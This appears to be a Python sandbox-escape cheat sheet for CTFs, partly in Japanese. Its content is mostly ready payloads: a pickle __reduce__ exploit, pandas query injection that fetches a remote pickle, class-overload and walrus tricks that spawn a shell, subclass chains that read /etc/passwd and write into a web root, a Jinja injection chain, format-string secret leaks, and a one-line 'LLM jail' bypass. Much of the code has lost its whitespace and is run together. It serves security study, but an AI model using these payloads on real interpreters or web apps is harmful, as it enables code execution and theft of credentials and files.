#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
演算子とショートトリック
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /='import os; os.system("sh")') (Note that this only works when from__future__import division isin effect.)__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
さらなるRCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
ビルトインのヘルプとライセンスでファイルを読む
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"builtins"in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__()if x.__name__=='catch_warnings'][0]()._module.__builtins____builtins__["__import__"]('os').system('ls')
ビルトインペイロード
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]()# From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
#os[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"os"in x.__init__.__globals__ ][0]["os"].system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"os"== x.__init__.__globals__["__name__"] ][0]["system"]("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"subprocess"== x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"__bultins__"in x.__init__.__globals__ ][ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"builtins"in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")#sys[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"sys"in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'_sitebuiltins."instr(x)andnot"_Helper"instr(x) ][0]["sys"].modules["os"].system("ls")#commands (not very common)[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"commands"in x.__init__.__globals__ ][0]["commands"].getoutput("ls")#pty (not very common)[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"pty"in x.__init__.__globals__ ][0]["pty"].spawn("ls")#importlib[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"importlib"in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"importlib"in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'imp."instr(x) ][0]["importlib"].import_module("os").system("ls")[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'imp."instr(x) ][0]["importlib"].__import__("os").system("ls")#pdb[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"pdb"in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
さらに、クラス内で新しいフォーマッターをコードすることが可能です:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}# Example from https://corgi.rip/posts/buckeye-writeups/secret_variable ="clueless"x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')str(x)# Out: clueless
LLM Jails bypass
From here: ().class.base.subclasses()[108].load_module('os').system('dir')
From format to RCE loading libraries
According to the TypeMonkey chall from this writeup it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
As reminder, every time an action is performed in python some function is executed. For example 2*3 will execute (2).mul(3) or {'a':'b'}['a'] will be {'a':'b'}.__getitem__('a').
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like '{0.system("/bin/sh")}'.format(os).
However, it's possible to use []. Therefore, if a common python library has a __getitem__ or __getattr__ method that executes arbitrary code, it's possible to abuse them to get RCE.
Looking for a gadget like that in python, the writeup purposes this Github search query. Where he found this one:
In some CTFs you could be provided with the name of a custom function where the flag resides and you need to see the internals of the function to extract it.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
コード情報の取得
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj =code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag